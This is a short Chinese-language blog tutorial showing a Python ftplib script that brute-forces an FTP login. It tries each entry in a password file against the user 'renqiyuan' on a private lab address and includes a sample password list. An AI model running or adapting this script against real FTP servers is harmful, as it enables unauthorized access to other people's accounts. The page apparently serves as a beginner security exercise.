zoukankan      html  css  js  c++  java
  • python脚本-暴力破解FTP服务器密码

    1、首先要知道FTP用户名,这里使用renqiyuan。

    2、自定义一个密码文件pass.txt,进行暴力破解。

    代码如下:

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    import ftplib
    
    def ftpLogin(host, Name, PassFile):
    
        #读取密码文件
        PF = open(PassFile, 'r')
        for line in PF.readlines():
            name = Name
            passwd = str(line).strip()
            print("Trying: "+name+"/"+passwd)
            try:
                ftp = ftplib.FTP(host)
                ftp.login(name,passwd)
                print("登录成功",name, passwd)
                ftp.quit()
                return (name, passwd)
            except Exception as e:
                pass
        print("没有找到正确的密码")
        return None
    
    hostName = '172.16.10.200'
    passwordFile = 'pass.txt'
    
    if __name__ == '__main__':
        ftpLogin(hostName, "renqiyuan", passwordFile)
    

    密码文件:

    2222
    123
    123
    123
    111111
    231
    123
    

    运行结果

    image


    读书和健身总有一个在路上

  • 相关阅读:
    python小程序之购物系统
    列表,元祖,字典的使用
    几个python小程序
    default
    RTTI
    man
    养喜神去杀机
    IDEA+Maven+Git
    入门
    CheckStyle简介
  • 原文地址:https://www.cnblogs.com/Renqy/p/12929877.html
Copyright © 2011-2022 走看看